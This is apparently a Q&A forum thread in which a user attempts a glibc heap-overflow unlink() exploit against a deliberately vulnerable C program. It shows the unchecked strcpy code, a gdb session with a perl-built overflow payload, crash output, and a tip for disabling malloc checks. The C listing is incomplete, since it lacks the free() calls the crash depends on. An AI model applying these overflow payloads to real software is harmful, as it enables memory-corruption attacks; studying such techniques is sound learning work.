I have been trying to exploit the heap overflow vulnerability for the program below, I am running Linux 14.04.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int n = 5;

int main(int argc, char **argv) {
    char *p, *q;

    p = malloc(1024);
    q = malloc(1024);
    if (argc >= 2)
            strcpy(p, argv[1]);
    printf("n = 0x%08x\n", n);
    return 0;

In this exploit i am trying to write a 32 bit random address of stack into variable "n" present in the program,using the unlink() technique.

However when the free() is called the program segfaults.

This is my input:

(gdb) p &n
$1 = (<data variable, no debug info> *) 0x804a02c <n>
(gdb) x/xw 0x804a02c-0xc  (address-12 bytes)
0x804a020 <[email protected]>:  0xb7e27990
(gdb) x/2xw $ebp
0xbffff1c8: 0x00000000  0xb7e27a83

(gdb) r `perl -e 'print "A"x1024 . "\xfc\xff\xff\xbf"x2 . "XXXX" . "\x20\xa0\x04\x08" . "\xcc\xff\xff\xbf"'`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/HIIII/heap_overflow/test/heap_1 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xbf"x2 . "XXXX" . "\x20\xa0\x04\x08" . "\xcc\xff\xff\xbf"'`

Program received signal SIGSEGV, Segmentation fault.

=> 0xb7e857e0 <__GI___libc_free+64>:    mov    (%eax),%eax
   0xb7e857e2 <__GI___libc_free+66>:    movl   $0x0,0x20(%esp)
   0xb7e857ea <__GI___libc_free+74>:    add    $0x18,%esp
   0xb7e857ed <__GI___libc_free+77>:    pop    %ebx
   0xb7e857ee <__GI___libc_free+78>:    jmp    0xb7e82520 <_int_free>
   0xb7e857f3 <__GI___libc_free+83>:    nop

0xbffff180: 0xbffff1c8  0xb7ff2500  0x0804b412  0xb7e857a0

0xbffff190: 0x0804b410  0xb7e857a6  0xb7fb9000  0x08048500

0xbffff1a0: 0x0804b410  0xbffff3d6

***0xb7e857e0 in __GI___libc_free (mem=0x804b410) at malloc.c:2945
2945    malloc.c: No such file or directory.***

enter image description here

I have taken this attack vector from http://www.win.tue.nl/~aeb/linux/hh/hh-11.html (uses glibc-2.2.4)

Thanks in advance

  • Can you please post the c code or is it identical to the one on the web site you link to?
    – ojblass
    Mar 20, 2015 at 16:09
  • @ojblass thnx for asking,its the same in the link,however i have added the code,please check
    – user10012
    Mar 20, 2015 at 21:37

1 Answer 1


There was some very carful algebra done on this site on the variables that manage a doubly linked list of addresses. Have you investigated the source code in for malloc.c and unlink to see that the code has not changed in some way? I believe you will find your problem in there.

  • Thnx @ojblass ,i am successfully able to overwrite metadata as discussed in the site and i get a error saying 'double free() detected'.I overcome this error using 'export _MALLOC_CHECK_=0' .However,the error vanishes but i am not able to accomplish my task..
    – user10012
    Mar 22, 2015 at 10:00

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